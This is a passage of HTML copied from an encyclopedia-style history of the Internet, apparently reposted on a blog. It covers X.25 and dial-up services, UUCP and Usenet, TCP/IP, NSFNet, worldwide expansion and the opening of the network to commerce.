network, referred to as the <a href="http://en.wikipedia.org/wiki/International_Packet_Switched_Service" title="International Packet Switched Service">International Packet Switched Service</a> (IPSS), in 1978. This network grew from Europe and the US to cover Canada, Hong Kong and Australia by 1981. By the 1990s it provided a worldwide networking infrastructure.<sup id="cite_ref-6" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-6" title="">[7]</a></sup></p> <p>Unlike ARPAnet, X.25 was also commonly available for business use. <a href="http://en.wikipedia.org/wiki/Telenet" title="Telenet">Telenet</a> offered its Telemail electronic mail service, but this was oriented to enterprise use rather than the general <a href="http://en.wikipedia.org/wiki/Email" class="mw-redirect" title="Email">email</a> of ARPANET.</p> <p>The first dial-in public networks used asynchronous <a href="http://en.wikipedia.org/wiki/Teleprinter" title="Teleprinter">TTY</a> terminal protocols to reach a concentrator operated by the public network. Some public networks, such as <a href="http://en.wikipedia.org/wiki/CompuServe" title="CompuServe">CompuServe</a> used X.25 to multiplex the terminal sessions into their packet-switched backbones, while others, such as <a href="http://en.wikipedia.org/wiki/Tymnet" title="Tymnet">Tymnet</a>, used proprietary protocols. In 1979, <a href="http://en.wikipedia.org/wiki/CompuServe" title="CompuServe">CompuServe</a> became the first service to offer <a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">electronic mail</a> capabilities and technical support to <a href="http://en.wikipedia.org/wiki/Personal_computer" title="Personal computer">personal computer</a> users. The company broke new ground again in 1980 as the first to offer <a href="http://en.wikipedia.org/wiki/Online_chat" title="Online chat">real-time chat</a> with its <a href="http://en.wikipedia.org/wiki/CB_Simulator" title="CB Simulator">CB Simulator</a>. There were also the <a href="http://en.wikipedia.org/wiki/America_Online" class="mw-redirect" title="America Online">America Online</a> (AOL) and <a href="http://en.wikipedia.org/wiki/Prodigy_%28ISP%29" class="mw-redirect" title="Prodigy (ISP)">Prodigy</a> dial in networks and many <a href="http://en.wikipedia.org/wiki/Bulletin_board_system" title="Bulletin board system">bulletin board system</a> (BBS) networks such as <a href="http://en.wikipedia.org/wiki/FidoNet" title="FidoNet">FidoNet</a>. FidoNet in particular was popular amongst hobbyist computer users, many of them <a href="http://en.wikipedia.org/wiki/Hackers" class="mw-redirect" title="Hackers">hackers</a> and <a href="http://en.wikipedia.org/wiki/Amateur_radio_operator" title="Amateur radio operator">amateur radio operators</a>.</p> <p><a name="UUCP" id="UUCP"></a></p> <h3><span class="mw-headline">UUCP</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCP</a> and <a href="http://en.wikipedia.org/wiki/Usenet" title="Usenet">Usenet</a></i></div> </dd></dl> <p>In 1979, two students at <a href="http://en.wikipedia.org/wiki/Duke_University" title="Duke University">Duke University</a>, <a href="http://en.wikipedia.org/wiki/Tom_Truscott" title="Tom Truscott">Tom Truscott</a> and <a href="http://en.wikipedia.org/wiki/Jim_Ellis" title="Jim Ellis">Jim Ellis</a>, came up with the idea of using simple <a href="http://en.wikipedia.org/wiki/Bourne_shell" title="Bourne shell">Bourne shell</a> scripts to transfer news and messages on a serial line with nearby <a href="http://en.wikipedia.org/wiki/University_of_North_Carolina_at_Chapel_Hill" title="University of North Carolina at Chapel Hill">University of North Carolina at Chapel Hill</a>. Following public release of the software, the mesh of UUCP hosts forwarding on the Usenet news rapidly expanded. UUCPnet, as it would later be named, also created gateways and links between <a href="http://en.wikipedia.org/wiki/FidoNet" title="FidoNet">FidoNet</a> and dial-up BBS hosts. UUCP networks spread quickly due to the lower costs involved, and ability to use existing leased lines, <a href="http://en.wikipedia.org/wiki/X.25" title="X.25">X.25</a> links or even <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a> connections. By 1981 the number of UUCP hosts had grown to 550, nearly doubling to 940 in 1984.</p> <p><a name="Merging_the_networks_and_creating_the_Internet" id="Merging_the_networks_and_creating_the_Internet"></a></p> <h2><span class="mw-headline">Merging the networks and creating the Internet</span></h2> <p><a name="TCP.2FIP" id="TCP.2FIP"></a></p> <h3><span class="mw-headline">TCP/IP</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Internet_protocol_suite" title="Internet protocol suite">Internet protocol suite</a></i></div> </dd></dl> <div class="thumb tright"> <div class="thumbinner" style="width: 322px;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC81X-IoMZ325Jfpu1vnsN6K8yuRtE9PrEQ2TFtl3H7GVaUPpW8NCiEFpku_DKV-0CpCLYgyK9VkqHb3y2YEOCUjw6Kn8V6PaNY7fm4sHD6OFvhjstLLr8tHKvRzOB7HEpSnfGyjbstq0/s1600-h/320px-Internet_map_in_February_82.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC81X-IoMZ325Jfpu1vnsN6K8yuRtE9PrEQ2TFtl3H7GVaUPpW8NCiEFpku_DKV-0CpCLYgyK9VkqHb3y2YEOCUjw6Kn8V6PaNY7fm4sHD6OFvhjstLLr8tHKvRzOB7HEpSnfGyjbstq0/s320/320px-Internet_map_in_February_82.jpg" alt="" id="BLOGGER_PHOTO_ID_5214917417087543874" border="0" /></a><a href="http://en.wikipedia.org/wiki/Image:Internet_map_in_February_82.jpg" class="image" title="Map of the TCP/IP test network in January 1982"></a> <div class="thumbcaption"><br /></div> </div> </div> <p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><div class="magnify"><a href="http://en.wikipedia.org/wiki/Image:Internet_map_in_February_82.jpg" class="internal" title="Enlarge"><img src="http://en.wikipedia.org/skins-1.5/common/images/magnify-clip.png" alt="" height="11" width="15" /></a></div> Map of the <a href="http://en.wikipedia.org/wiki/TCP/IP" class="mw-redirect" title="TCP/IP">TCP/IP</a> test network in January 1982<p>With so many different network methods, something was needed to unify them. <a href="http://en.wikipedia.org/wiki/Robert_E._Kahn" class="mw-redirect" title="Robert E. Kahn">Robert E. Kahn</a> of <a href="http://en.wikipedia.org/wiki/DARPA" title="DARPA">DARPA</a> and <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a> recruited <a href="http://en.wikipedia.org/wiki/Vinton_Cerf" class="mw-redirect" title="Vinton Cerf">Vinton Cerf</a> of <a href="http://en.wikipedia.org/wiki/Stanford_University" title="Stanford University">Stanford University</a> to work with him on the problem. By 1973, they had soon worked out a fundamental reformulation, where the differences between network protocols were hidden by using a common <a href="http://en.wikipedia.org/wiki/Internetwork_protocol" title="Internetwork protocol">internetwork protocol</a>, and instead of the network being responsible for reliability, as in the ARPANET, the hosts became responsible. Cerf credits <a href="http://en.wikipedia.org/wiki/Hubert_Zimmerman" title="Hubert Zimmerman">Hubert Zimmerman</a>, Gerard LeLann and <a href="http://en.wikipedia.org/wiki/Louis_Pouzin" title="Louis Pouzin">Louis Pouzin</a> (designer of the <a href="http://en.wikipedia.org/wiki/CYCLADES" title="CYCLADES">CYCLADES</a> network) with important work on this design.<sup id="cite_ref-7" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-7" title="">[8]</a></sup></p> <p>At this time, the earliest known use of the term <i>Internet</i> was by Vinton Cerf, who wrote:</p> <table style="border-style: none; margin: auto; border-collapse: collapse; background-color: transparent;" class="cquote"> <tbody><tr> <td style="padding: 10px; color: rgb(178, 183, 242); font-size: 35px; font-family: 'Times New Roman',serif; font-weight: bold; text-align: left;" valign="top" width="20">“</td> <td style="padding: 4px 10px;" valign="top"><i>Specification of Internet Transmission Control Program.</i></td> <td style="padding: 10px; color: rgb(178, 183, 242); font-size: 36px; font-family: 'Times New Roman',serif; font-weight: bold; text-align: right;" valign="bottom" width="20">”</td> </tr> </tbody></table> <p><i>"Request for Comments No. 675" (Network Working Group, electronic text (1974)</i><sup id="cite_ref-8" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-8" title="">[9]</a></sup></p> <p>With the role of the network reduced to the bare minimum, it became possible to join almost any networks together, no matter what their characteristics were, thereby solving Kahn's initial problem. DARPA agreed to fund development of prototype software, and after several years of work, the first somewhat crude demonstration of a gateway between the <a href="http://en.wikipedia.org/wiki/Packet_Radio" class="mw-redirect" title="Packet Radio">Packet Radio</a> network in the SF Bay area and the ARPANET was conducted. On <a href="http://en.wikipedia.org/wiki/November_22" title="November 22">November 22</a>, <a href="http://en.wikipedia.org/wiki/1977" title="1977">1977</a><sup id="cite_ref-9" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-9" title="">[10]</a></sup> a three network demonstration was conducted including the ARPANET, the Packet Radio Network and the Atlantic Packet Satellite network—all sponsored by DARPA. Stemming from the first specifications of TCP in 1974, <a href="http://en.wikipedia.org/wiki/TCP/IP" class="mw-redirect" title="TCP/IP">TCP/IP</a> emerged in mid-late 1978 in nearly final form. By 1981, the associated standards were published as <a href="http://en.wikipedia.org/wiki/Request_For_Comment" class="mw-redirect" title="Request For Comment">RFCs</a> 791, 792 and 793 and adopted for use. DARPA sponsored or encouraged the development of TCP/IP implementations for many operating systems and then scheduled a migration of all hosts on all of its packet networks to TCP/IP. On <a href="http://en.wikipedia.org/wiki/January_1" title="January 1">1 January</a> <a href="http://en.wikipedia.org/wiki/1983" title="1983">1983</a>, TCP/IP protocols became the only approved protocol on the ARPANET, replacing the earlier <a href="http://en.wikipedia.org/wiki/Network_Control_Program" title="Network Control Program">NCP protocol</a>.<sup id="cite_ref-10" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-10" title="">[11]</a></sup></p> <p><a name="ARPANET_to_Several_Federal_Wide_Area_Networks:_MILNET.2C_NSI.2C_and_NSFNet" id="ARPANET_to_Several_Federal_Wide_Area_Networks:_MILNET.2C_NSI.2C_and_NSFNet"></a></p> <h3><span class="mw-headline">ARPANET to Several Federal Wide Area Networks: MILNET, NSI, and NSFNet</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a> and <a href="http://en.wikipedia.org/wiki/NSFNet" class="mw-redirect" title="NSFNet">NSFNet</a></i></div> </dd></dl> <p>After the ARPANET had been up and running for several years, ARPA looked for another agency to hand off the network to; ARPA's primary mission was funding cutting edge research and development, not running a communications utility. Eventually, in July 1975, the network had been turned over to the <a href="http://en.wikipedia.org/wiki/Defense_Communications_Agency" class="mw-redirect" title="Defense Communications Agency">Defense Communications Agency</a>, also part of the <a href="http://en.wikipedia.org/wiki/United_States_Department_of_Defense" title="United States Department of Defense">Department of Defense</a>. In 1983, the <a href="http://en.wikipedia.org/wiki/U.S._military" class="mw-redirect" title="U.S. military">U.S. military</a> portion of the ARPANET was broken off as a separate network, the <a href="http://en.wikipedia.org/wiki/MILNET" title="MILNET">MILNET</a>. MILNET subsequently became the unclassified but military-only <a href="http://en.wikipedia.org/wiki/NIPRNET" class="mw-redirect" title="NIPRNET">NIPRNET</a>, in parallel with the SECRET-level <a href="http://en.wikipedia.org/wiki/SIPRNET" class="mw-redirect" title="SIPRNET">SIPRNET</a> and <a href="http://en.wikipedia.org/wiki/JWICS" class="mw-redirect" title="JWICS">JWICS</a> for TOP SECRET and above. NIPRNET does have controlled security gateways to the public Internet.</p> <p>The networks based around the ARPANET were government funded and therefore restricted to noncommercial uses such as research; unrelated commercial use was strictly forbidden. This initially restricted connections to <a href="http://en.wikipedia.org/wiki/Military" title="Military">military</a> sites and <a href="http://en.wikipedia.org/wiki/Universities" class="mw-redirect" title="Universities">universities</a>. During the 1980s, the connections expanded to more educational institutions, and even to a growing number of companies such as <a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation" title="Digital Equipment Corporation">Digital Equipment Corporation</a> and <a href="http://en.wikipedia.org/wiki/Hewlett-Packard" class="mw-redirect" title="Hewlett-Packard">Hewlett-Packard</a>, which were participating in research projects or providing services to those who were.</p> <p>Several other branches of the <a href="http://en.wikipedia.org/wiki/U.S._government" class="mw-redirect" title="U.S. government">U.S. government</a>, the <a href="http://en.wikipedia.org/wiki/National_Aeronautics_and_Space_Agency" class="mw-redirect" title="National Aeronautics and Space Agency">National Aeronautics and Space Agency</a> (NASA), the <a href="http://en.wikipedia.org/wiki/National_Science_Foundation" title="National Science Foundation">National Science Foundation</a> (NSF), and the <a href="http://en.wikipedia.org/wiki/Department_of_Energy" title="Department of Energy">Department of Energy</a> (DOE) became heavily involved in internet research and started development of a successor to ARPANET. In the mid 1980s all three of these branches developed the first Wide Area Networks based on TCP/IP. NASA developed the NASA Science Network, NSF developed CSNET and DOE evolved the Energy Sciences Network or ESNet.</p> <p>More explicitly, NASA developed a TCP/IP based <a href="http://en.wikipedia.org/wiki/Wide_Area_Network" class="mw-redirect" title="Wide Area Network">Wide Area Network</a>, NASA Science Network (NSN), in the mid 1980s connecting space scientists to data and information stored anywhere in the world. In 1989, the <a href="http://en.wikipedia.org/wiki/DECnet" title="DECnet">DECnet</a>-based <a href="http://en.wikipedia.org/w/index.php?title=Space_Physics_Analysis_Network&action=edit&redlink=1" class="new" title="Space Physics Analysis Network (page does not exist)">Space Physics Analysis Network</a> (SPAN) and the TCP/IP-based NASA Science Network (NSN) were brought together at NASA Ames Research Center creating the <b>first multiprotocol wide area network</b> called the <a href="http://en.wikipedia.org/w/index.php?title=NASA_Science_Internet&action=edit&redlink=1" class="new" title="NASA Science Internet (page does not exist)">NASA Science Internet</a>, or NSI. NSI was established to provide a total integrated communications infrastructure to the NASA scientific community for the advancement of earth, space and life sciences. As a high-speed, multiprotocol, international network, NSI provided connectivity to over 20,000 scientists across all seven continents.</p> <p>In 1984 NSF developed <a href="http://en.wikipedia.org/wiki/CSNET" title="CSNET">CSNET</a> exclusively based on TCP/IP. CSNET connected with ARPANET using TCP/IP, and ran TCP/IP over <a href="http://en.wikipedia.org/wiki/X.25" title="X.25">X.25</a>, but it also supported departments without sophisticated network connections, using automated dial-up mail exchange. This grew into the <a href="http://en.wikipedia.org/wiki/NSFNet" class="mw-redirect" title="NSFNet">NSFNet</a> <a href="http://en.wikipedia.org/wiki/Internet_backbone" title="Internet backbone">backbone</a>, established in 1986, and intended to connect and provide access to a number of <a href="http://en.wikipedia.org/wiki/Supercomputers" class="mw-redirect" title="Supercomputers">supercomputing</a> centers established by the NSF.<sup id="cite_ref-11" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-11" title="">[12]</a></sup></p> <p><a name="Transition_toward_an_Internet" id="Transition_toward_an_Internet"></a></p> <h3><span class="mw-headline">Transition toward an Internet</span></h3> <p>The term "Internet" was adopted in the first RFC published on the TCP protocol (<a href="http://en.wikipedia.org/wiki/Request_For_Comment" class="mw-redirect" title="Request For Comment">RFC</a> 675<sup id="cite_ref-12" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-12" title="">[13]</a></sup>: Internet Transmission Control Program, December 1974). It was around the time when ARPANET was interlinked with NSFNet, that the term <a href="http://en.wikipedia.org/wiki/Internet" title="Internet">Internet</a> came into more general use,<sup id="cite_ref-13" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-13" title="">[14]</a></sup> with "an internet" meaning any network using TCP/IP. "The Internet" came to mean a global and large network using TCP/IP. Previously "internet" and "internetwork" had been used interchangeably, and "internet protocol" had been used to refer to other networking systems such as <a href="http://en.wikipedia.org/wiki/Xerox_Network_Services" title="Xerox Network Services">Xerox Network Services</a>.<sup id="cite_ref-14" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-14" title="">[15]</a></sup></p> <p>As interest in wide spread networking grew and new applications for it arrived, the Internet's technologies spread throughout the rest of the world. TCP/IP's network-agnostic approach meant that it was easy to use any existing network infrastructure, such as the <a href="http://en.wikipedia.org/wiki/International_Packet_Switched_Service" title="International Packet Switched Service">IPSS</a> X.25 network, to carry Internet traffic. In 1984, University College London replaced its transatlantic satellite links with TCP/IP over IPSS.</p> <p>Many sites unable to link directly to the Internet started to create simple gateways to allow transfer of e-mail, at that time the most important application. Sites which only had intermittent connections used <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCP</a> or <a href="http://en.wikipedia.org/wiki/FidoNet" title="FidoNet">FidoNet</a> and relied on the gateways between these networks and the Internet. Some gateway services went beyond simple <a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">e-mail</a> peering, such as allowing access to <a href="http://en.wikipedia.org/wiki/File_Transfer_Protocol" title="File Transfer Protocol">FTP</a> sites via UUCP or e-mail.</p> <p><a name="TCP.2FIP_becomes_worldwide" id="TCP.2FIP_becomes_worldwide"></a></p> <h2><span class="mw-headline">TCP/IP becomes worldwide</span></h2> <p>The first ARPANET connection outside the US was established to NORSAR in Norway in 1973, just ahead of the connection to Great Britain. These links were all converted to TCP/IP in 1982, at the same time as the rest of the Arpanet.</p> <p><a name="CERN.2C_the_European_internet.2C_the_link_to_the_Pacific_and_beyond" id="CERN.2C_the_European_internet.2C_the_link_to_the_Pacific_and_beyond"></a></p> <h3><span class="mw-headline">CERN, the European internet, the link to the Pacific and beyond</span></h3> <p>Between 1984 and 1988 CERN began installation and operation of <a href="http://en.wikipedia.org/wiki/TCP/IP" class="mw-redirect" title="TCP/IP">TCP/IP</a> to interconnect its major internal computer systems, workstations, PC's and an accelerator control system. CERN continued to operate a limited self-developed system CERNET internally and several incompatible (typically proprietary) network protocols externally. There was considerable resistance in <a href="http://en.wikipedia.org/wiki/Europe" title="Europe">Europe</a> towards more widespread use of <a href="http://en.wikipedia.org/wiki/TCP/IP" class="mw-redirect" title="TCP/IP">TCP/IP</a> and the CERN TCP/IP intranets remained isolated from the Internet until 1989.</p> <p>In 1988 Daniel Karrenberg, from <a href="http://en.wikipedia.org/wiki/Centrum_voor_Wiskunde_en_Informatica" class="mw-redirect" title="Centrum voor Wiskunde en Informatica">CWI</a> in <a href="http://en.wikipedia.org/wiki/Amsterdam" title="Amsterdam">Amsterdam</a>, visited Ben Segal, <a href="http://en.wikipedia.org/wiki/CERN" title="CERN">CERN's</a> TCP/IP Coordinator, looking for advice about the transition of the European side of the UUCP Usenet network (much of which ran over X.25 links) over to TCP/IP. In 1987, Ben Segal had met with <a href="http://en.wikipedia.org/wiki/Len_Bosack" class="mw-redirect" title="Len Bosack">Len Bosack</a> from the then still small company <a href="http://en.wikipedia.org/wiki/Cisco_Systems" title="Cisco Systems">Cisco</a> about purchasing some TCP/IP routers for CERN, and was able to give Karrenberg advice and forward him on to Cisco for the appropriate hardware. This expanded the European portion of the Internet across the existing UUCP networks, and in 1989 CERN opened its first external TCP/IP connections.<sup id="cite_ref-15" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-15" title="">[16]</a></sup> This coincided with the creation of Réseaux IP Européens (<a href="http://en.wikipedia.org/wiki/RIPE" title="RIPE">RIPE</a>), initially a group of IP network administrators who met regularly to carry out co-ordination work together. Later, in 1992, RIPE was formally registered as a <a href="http://en.wikipedia.org/wiki/Cooperative" title="Cooperative">cooperative</a> in <a href="http://en.wikipedia.org/wiki/Amsterdam" title="Amsterdam">Amsterdam</a>.</p> <p>At the same time as the rise of internetworking in Europe, ad hoc networking to ARPA and in-between <a href="http://en.wikipedia.org/wiki/Australian" class="mw-redirect" title="Australian">Australian</a> universities formed, based on various technologies such as X.25 and <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCPNet</a>. These were limited in their connection to the global networks, due to the cost of making individual international UUCP dial-up or X.25 connections. In 1989, Australian universities joined the push towards using IP protocols to unify their networking infrastructures. <a href="http://en.wikipedia.org/wiki/AARNet" title="AARNet">AARNet</a> was formed in 1989 by the <a href="http://en.wikipedia.org/wiki/Australian_Vice-Chancellors%27_Committee" class="mw-redirect" title="Australian Vice-Chancellors' Committee">Australian Vice-Chancellors' Committee</a> and provided a dedicated IP based network for Australia.</p> <p>The Internet began to penetrate Asia in the late 1980s. <a href="http://en.wikipedia.org/wiki/Japan" title="Japan">Japan</a>, which had built the UUCP-based network <a href="http://en.wikipedia.org/wiki/JUNET" title="JUNET">JUNET</a> in 1984, connected to NSFNet in 1989. It hosted the annual meeting of the <a href="http://en.wikipedia.org/wiki/Internet_Society" title="Internet Society">Internet Society</a>, INET'92, in <a href="http://en.wikipedia.org/wiki/Kobe" title="Kobe">Kobe</a>. <a href="http://en.wikipedia.org/wiki/Singapore" title="Singapore">Singapore</a> developed TECHNET in 1990, and <a href="http://en.wikipedia.org/wiki/Thailand" title="Thailand">Thailand</a> gained a global Internet connection between Chulalongkorn University and UUNET in 1992.<sup id="cite_ref-16" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-16" title="">[17]</a></sup></p> <p><a name="Digital_divide" id="Digital_divide"></a></p> <h3><span class="mw-headline">Digital divide</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Digital_divide" title="Digital divide">Digital divide</a></i></div> </dd></dl> <p>While developed countries with technological infrastructures were joining the Internet, developing countries began to experience a <a href="http://en.wikipedia.org/wiki/Digital_divide" title="Digital divide">digital divide</a> separating them from the Internet. On an essentially continental basis, they are building organizations for Internet resource administration and sharing operational experience, as more and more transmission facilities go into place.</p> <p><a name="Africa" id="Africa"></a></p> <h4><span class="mw-headline">Africa</span></h4> <p>At the beginning of the 1990s, African countries relied upon X.25 <a href="http://en.wikipedia.org/wiki/International_Packet_Switched_Service" title="International Packet Switched Service">IPSS</a> and 2400 baud modem UUCP links for international and internetwork computer communications. In 1996 a <a href="http://en.wikipedia.org/wiki/USAID" class="mw-redirect" title="USAID">USAID</a> funded project, the <a href="http://www.usaid.gov/regions/afr/leland/chrono.htm" class="external text" title="http://www.usaid.gov/regions/afr/leland/chrono.htm" rel="nofollow">Leland initiative</a>, started work on developing full Internet connectivity for the continent. <a href="http://en.wikipedia.org/wiki/Guinea" title="Guinea">Guinea</a>, <a href="http://en.wikipedia.org/wiki/Mozambique" title="Mozambique">Mozambique</a>, <a href="http://en.wikipedia.org/wiki/Madagascar" title="Madagascar">Madagascar</a> and <a href="http://en.wikipedia.org/wiki/Rwanda" title="Rwanda">Rwanda</a> gained <a href="http://en.wikipedia.org/wiki/Satellite_earth_station" class="mw-redirect" title="Satellite earth station">satellite earth stations</a> in 1997, followed by <a href="http://en.wikipedia.org/wiki/C%C3%B4te_d%27Ivoire" title="Côte d'Ivoire">Côte d'Ivoire</a> and <a href="http://en.wikipedia.org/wiki/Benin" title="Benin">Benin</a> in 1998.</p> <p>Africa is building an Internet infrastructure. <a href="http://en.wikipedia.org/wiki/AfriNIC" title="AfriNIC">AfriNIC</a>, headquartered in <a href="http://en.wikipedia.org/wiki/Mauritius" title="Mauritius">Mauritius</a>, manages IP address allocation for the continent. As do the other Internet regions, there is an operational forum, the Internet Community of Operational Networking Specialists.<sup id="cite_ref-17" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-17" title="">[18]</a></sup></p> <p>There are a wide range of programs both to provide high-performance transmission plant, and the western and southern coasts have undersea optical cable. High-speed cables join North Africa and the Horn of Africa to intercontinental cable systems. Undersea cable development is slower for East Africa; the original joint effort between <a href="http://en.wikipedia.org/wiki/NEPAD" class="mw-redirect" title="NEPAD">New Partnership for Africa's Development (NEPAD)</a> and the East Africa Submarine System (Eassy) has broken off and may become two efforts.<sup id="cite_ref-18" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-18" title="">[19]</a></sup></p> <p><a name="Asia_and_Oceania" id="Asia_and_Oceania"></a></p> <h4><span class="mw-headline">Asia and Oceania</span></h4> <p>The <a href="http://en.wikipedia.org/wiki/APNIC" class="mw-redirect" title="APNIC">Asia Pacific Network Information Centre (APNIC)</a>, headquartered in Australia, manages IP address allocation for the continent. APNIC sponsors an operational forum, the Asia-Pacific Regional Internet Conference on Operational Technologies (APRICOT).<sup id="cite_ref-19" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-19" title="">[20]</a></sup></p> <p>In 1991, the <a href="http://en.wikipedia.org/wiki/People%27s_Republic_of_China" title="People's Republic of China">People's Republic of China</a> saw its first <a href="http://en.wikipedia.org/wiki/TCP/IP" class="mw-redirect" title="TCP/IP">TCP/IP</a> college network, <a href="http://en.wikipedia.org/wiki/Tsinghua_University" title="Tsinghua University">Tsinghua University's</a> TUNET. The PRC went on to make its first global Internet connection in 1995, between the Beijing Electro-Spectrometer Collaboration and <a href="http://en.wikipedia.org/wiki/Stanford_University" title="Stanford University">Stanford University's</a> Linear Accelerator Center. However, China went on to implement its own digital divide by implementing a country-wide <a href="http://en.wikipedia.org/wiki/Internet_censorship_in_the_People%27s_Republic_of_China" title="Internet censorship in the People's Republic of China">content filter</a>.<sup id="cite_ref-20" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-20" title="">[21]</a></sup></p> <p><a name="Latin_America" id="Latin_America"></a></p> <h4><span class="mw-headline">Latin America</span></h4> <p>As with the other regions, <a href="http://en.wikipedia.org/wiki/LACNIC" class="mw-redirect" title="LACNIC">the Latin American and Caribbean Internet Addresses Registry (LACNIC)</a> manages the IP address space and other resources for its area. LACNIC, headquartered in Uruguay, operates DNS root, reverse DNS, and other key services.</p> <p><a name="Opening_the_network_to_commerce" id="Opening_the_network_to_commerce"></a></p> <h2><span class="mw-headline">Opening the network to commerce</span></h2> <p>The interest in commercial use of the Internet became a hotly debated topic. Although commercial use was forbidden, the exact definition of commercial use could be unclear and subjective. <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCPNet</a> and the X.25 IPSS had no such restrictions, which would eventually see the official barring of UUCPNet use of <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a> and <a href="http://en.wikipedia.org/wiki/NSFNet" class="mw-redirect" title="NSFNet">NSFNet</a> connections. Some UUCP links still remained connecting to these networks however, as administrators cast a blind eye to their operation.</p> <div class="floatright"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIEYMNUKJedwlr_UPGghYq2aO764Fx3tZ3YgfhUGv4b8LuaSB-yK45jk6CuABAjwbfubBPD-C9NbZWmaPrKfidZgl1p94gdQSjOpIRGcTsnnzRcC3gvWZEiuS-I9UKdHx0HQvz0oxbcoM/s1600-h/300px-Number_of_internet_hosts.svg.png"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIEYMNUKJedwlr_UPGghYq2aO764Fx3tZ3YgfhUGv4b8LuaSB-yK45jk6CuABAjwbfubBPD-C9NbZWmaPrKfidZgl1p94gdQSjOpIRGcTsnnzRcC3gvWZEiuS-I9UKdHx0HQvz0oxbcoM/s320/300px-Number_of_internet_hosts.svg.png" alt="" id="BLOGGER_PHOTO_ID_5214917196540102418" border="0" /></a></div> <p>During the late 1980s, the first <a href="http://en.wikipedia.org/wiki/Internet_service_provider" title="Internet service provider">Internet service provider</a> (ISP) companies were formed. Companies like <a href="http://en.wikipedia.org/wiki/PSINet" title="PSINet">PSINet</a>, <a href="http://en.wikipedia.org/wiki/UUNET" title="UUNET">UUNET</a>, <a href="http://en.wikipedia.org/wiki/Netcom_%28USA%29" title="Netcom (USA)">Netcom</a>, and <a href="http://en.wikipedia.org/wiki/Portal_Software" title="Portal Software">Portal Software</a> were formed to provide service to the regional research networks and provide alternate network access, UUCP-based email and <a href="http://en.wikipedia.org/wiki/Usenet" title="Usenet">Usenet News</a> to the public. The first dial-up on the West Coast, was Best Internet<sup id="cite_ref-21" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-21" title="">[22]</a></sup> - now <a href="http://en.wikipedia.org/wiki/Verio" title="Verio">Verio</a>, opened in 1986. The first dialup ISP in the East was <a href="http://en.wikipedia.org/wiki/The_World_%28internet_service_provider%29" title="The World (internet service provider)">world.std.com</a>, opened in 1989.</p> <p>This caused controversy amongst university users, who were outraged at the idea of noneducational use of their networks. Eventually, it was the commercial Internet service providers who brought prices low enough that junior colleges and other schools could afford to participate in the new arenas of education and research.</p> <p>By 1990, ARPANET had been overtaken and replaced by newer networking technologies and the project came to a close. In 1994, the NSFNet, now renamed ANSNET (Advanced Networks and Services) and allowing non-profit corporations access, lost its standing as the backbone of the Internet. Both government institutions and competing commercial providers created their own backbones and interconnections. Regional <a href="http://en.wikipedia.org/wiki/Network_access_point" title="Network access point">network access points</a> (NAPs) became the primary interconnections between the many networks and the final commercial restrictions ended.</p> <p><a name="IETF_and_a_standard_for_standards" id="IETF_and_a_standard_for_standards"></a></p> <h3><span class="mw-headline">IETF and a standard for standards</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/IETF" class="mw-redirect" title="IETF">IETF</a></i></div> </dd></dl> <p>The Internet has developed a significant subculture dedicated to the idea that the Internet is not owned or controlled by any one person, company, group, or organization. Nevertheless, some standardization and control is necessary for the system to function.</p> <p>The liberal <a href="http://en.wikipedia.org/wiki/Request_for_Comments" title="Request for Comments">Request for Comments</a> (RFC) publication procedure engendered confusion about the Internet standardization process, and led to more formalization of official accepted standards. The <a href="http://en.wikipedia.org/wiki/IETF" class="mw-redirect" title="IETF">IETF</a> started in January of 1985 as a quarterly meeting of U.S. government funded researchers. Representatives from non-government vendors were invited starting with the fourth IETF meeting in October of that year.</p> <p>Acceptance of an RFC by the RFC Editor for publication does not automatically make the 